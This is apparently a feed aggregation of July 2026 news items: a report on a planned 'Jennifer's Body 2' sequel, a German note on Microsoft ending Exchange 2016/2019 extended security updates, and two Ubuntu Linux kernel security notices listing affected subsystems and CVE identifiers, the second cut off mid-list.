CVE-2026-43475, CVE-2026-43476, CVE-2026-43496, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45842, CVE-2026-45843, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45864, CVE-2026-45873,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46259, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46275, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46319)


Megan Fox Reportedly Returning for ‘Jennifer’s Body 2’ as October Filming Nears
Thu, 23 Jul 2026 10:36:48 +0200
Megan Fox is reportedly preparing to return as Jennifer Check in Jennifer’s Body 2, with production currently targeting an October 2026 start.



Jennifer’s Body 2 production details



A recent production report claims filming will take place in Vancouver, Canada. Karyn Kusama is expected to return as director, while original screenwriter Diablo Cody is working on the sequel’s script.



Fox’s return has reportedly been confirmed by people familiar with the project. Amanda Seyfried is also expected to reprise her role as Anita “Needy” Lesnicki, although her involvement has not received the same level of confirmation.



DetailReported informationProduction startOctober 2026Filming locationVancouver, CanadaReturning starMegan Fox as Jennifer CheckExpected cast memberAmanda Seyfried as NeedyScreenwriterDiablo CodyDirectorKaryn KusamaOfficial studio announcementNot released yet



The sequel is moving closer to production



Diablo Cody has been developing the project for 20th Century Studios. Kusama previously described the script as fun and unpredictable, suggesting that the sequel will retain the dark comedy and horror elements that shaped the original movie.



The first Jennifer’s Body arrived in 2009 and followed a demonically possessed high school student who began killing and eating her male classmates. Although the film received mixed reviews and modest box office results during its original release, it later developed a strong cult following.



Important details remain unknown, including the sequel’s plot, complete cast, release date and official title. The October production schedule also remains unconfirmed by 20th Century Studios.



Still, the reported return of Megan Fox, Cody and Kusama indicates that Jennifer’s Body 2 has moved beyond early discussions and is getting closer to filming.


Microsoft beendet ESU-Programm für Exchange 2016 und 2019 im Oktober
Thu, 23 Jul 2026 10:32:38 +0200

    Microsoft beendet im Oktober 2026 die Sicherheitsupdates für Exchange 2016 und 2019. Weitere Verlängerungen des ESU-Programms schließt der Konzern aus.

Tags: #Exchange | #Microsoft


USN-8575-2: Linux kernel vulnerabilities
Thu, 23 Jul 2026 10:31:09 +0200
Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)


USN-8576-2: Linux kernel (NVIDIA Tegra) vulnerabilities
Thu, 23 Jul 2026 10:31:00 +0200
Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
